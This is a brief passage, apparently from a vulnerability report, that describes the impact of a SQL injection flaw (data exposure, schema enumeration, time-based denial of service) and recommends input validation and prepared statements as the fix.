Impact: Exploiting this SQL injection vulnerability allows an attacker to read sensitive data, enumerate database structures, and potentially cause denial of service through time-based SQL injection by manipulating queries to exploit delays in the application's response.  
  
Fix: Implement rigorous input validation and exclusively utilize prepared statements to prevent SQL injection vulnerabilities.
